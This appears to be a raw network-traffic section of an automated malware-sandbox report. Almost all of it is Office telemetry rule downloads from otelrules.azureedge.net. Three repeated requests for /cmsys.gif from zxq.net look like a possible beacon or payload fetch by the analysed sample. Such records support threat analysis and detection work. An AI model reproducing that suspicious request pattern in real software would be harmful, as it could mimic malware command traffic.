Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
